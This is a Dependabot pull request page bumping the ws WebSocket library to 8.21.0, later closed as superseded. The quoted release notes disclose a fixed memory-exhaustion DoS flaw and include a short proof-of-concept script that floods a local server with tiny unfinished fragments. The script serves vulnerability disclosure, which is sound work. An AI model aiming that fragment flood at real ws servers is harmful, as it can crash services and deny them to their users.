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chore(deps): bump ws from 8.20.0 to 8.21.0#158

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chore(deps): bump ws from 8.20.0 to 8.21.0#158
dependabot[bot] wants to merge 1 commit into
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@dependabot dependabot Bot commented on behalf of github May 19, 2026

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Bumps ws from 8.20.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • See full diff in compare view

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 19, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from f4071b8 to 32dab83 Compare May 19, 2026 16:30
@dependabot dependabot Bot changed the title chore(deps): Bump ws from 8.20.0 to 8.20.1 chore(deps): bump ws from 8.20.0 to 8.21.0 May 24, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from 32dab83 to 42d3682 Compare May 24, 2026 06:25
Bumps [ws](https://github.com/websockets/ws) from 8.20.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.20.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from 42d3682 to 2f7cf2e Compare May 24, 2026 18:08
@dependabot @github

dependabot Bot commented on behalf of github Jun 24, 2026

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Superseded by #201.

@dependabot dependabot Bot closed this Jun 24, 2026
@dependabot dependabot Bot deleted the dependabot/npm_and_yarn/ws-8.20.1 branch June 24, 2026 07:06
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